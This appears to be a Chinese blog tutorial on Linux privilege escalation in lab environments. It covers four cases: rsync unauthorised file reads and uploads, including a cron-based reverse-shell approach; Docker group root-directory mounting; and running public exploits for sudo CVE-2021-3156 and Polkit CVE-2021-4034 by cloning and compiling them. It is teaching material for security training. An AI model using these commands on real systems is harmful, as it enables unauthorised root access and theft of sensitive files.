本文主要是介绍第105天:权限提升-Linux 系统Docker 挂载Rsync 未授权Sudo-CVEPolkitCVE,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
思维导图
案例一: Linux-Rsync 未授权访问覆盖-本地
案例二: Linux-Docker 组用户挂载目录-本地
案例三: Linux-Sudo(CVE-2021-3156)-本地
案例四:Linux-Polkit(CVE-2021-4034)-本地
思维导图
案例一: Linux-Rsync 未授权访问覆盖-本地
rsync 文件传输协议-linux 端口873
配置不当会造成未授权访问。没有配置ACL或者访问密码,可以读取目标服务器文件
靶场环境:
访问端口
判断是否有该漏洞的方法:
rsync rsync://123.58.224.8:58515
利用读取文件
rsync rsync://123.58.224.8:58515/src
下载文件 ./ 为当前目录
rsync rsync://123.58.224.8:58515/src/etc/passwd ./
上传文件
rsync -av passwd rsync://123.58.224.8:58515/src/tmp/passwd
利用他去反弹shell的思路:利用计时任务
这里由于该靶场为在线靶场,有时间限制,且必须利用公网ip反弹shell,这里利用下面的网址,搭建在线靶场:Vulhub - Docker-Compose file for vulnerability environment
首先把计时任务保存到本地
查看可利用的文件
必须加执行权限
把脚本进行上传
开启监听等待
刚好反弹shell
案例二: Linux-Docker 组用户挂载目录-本地
首先条件:普通用户在docker组,利用docker服务启动镜像挂载目录
从而来访问root目录、etc目录等敏感文件来进行权限提升。
环境搭建
useradd -d /home/test -m test (创建test用户)
passwd test (修改密码)
usermod -G docker test (把test用户加入到docker组当中)
利用命令
docker run -v /root:/mnt -it alpine
docker下载alpine镜像,然后利用-v选项把/root目录挂载到docker里面的/mnt目录,-it进入docker,进去以后他会默认你是root用户,你可以去查看/mnt下里面/root的敏感文件
这里我提权拉取了一次所以没有下载过程
root目录直接挂载到了/mnt目录下获得了敏感信息的窃取
不仅可以调用/root,也可以调用其他目录,因为docker命令需要执行下载,等等操作,在这个过程当中本身就是root权限,所以所有目录都可以
案例三: Linux-Sudo(CVE-2021-3156)-本地
影响版本
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
这台机器正好符合
或者利用 sudoedit -s / 去查看如果有报错那证明有漏洞,没报错证明没有
有漏洞的报错
没有漏洞的报错
可能用到的代码
git clone https://github.com/blasty/CVE-2021-3156.git #下载
cd CVE-2021-3156
make #编译
chmod a+x sudo-hax-me-a-sandwich #加执行权限
./sudo-hax-me-a-sandwich 1 #后面的数字1是选择模式
执行效果
案例四:Linux-Polkit(CVE-2021-4034)-本地
漏洞影响2009年5月至今的所有polkit版本
由于polkit是系统预装工具,所有存在polkit的linux系统均受影响
如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等
判断
dpkg -l policykit-1
如果是这种信息的话那证明可能可以利用
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034
这篇关于第105天:权限提升-Linux 系统Docker 挂载Rsync 未授权Sudo-CVEPolkitCVE的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!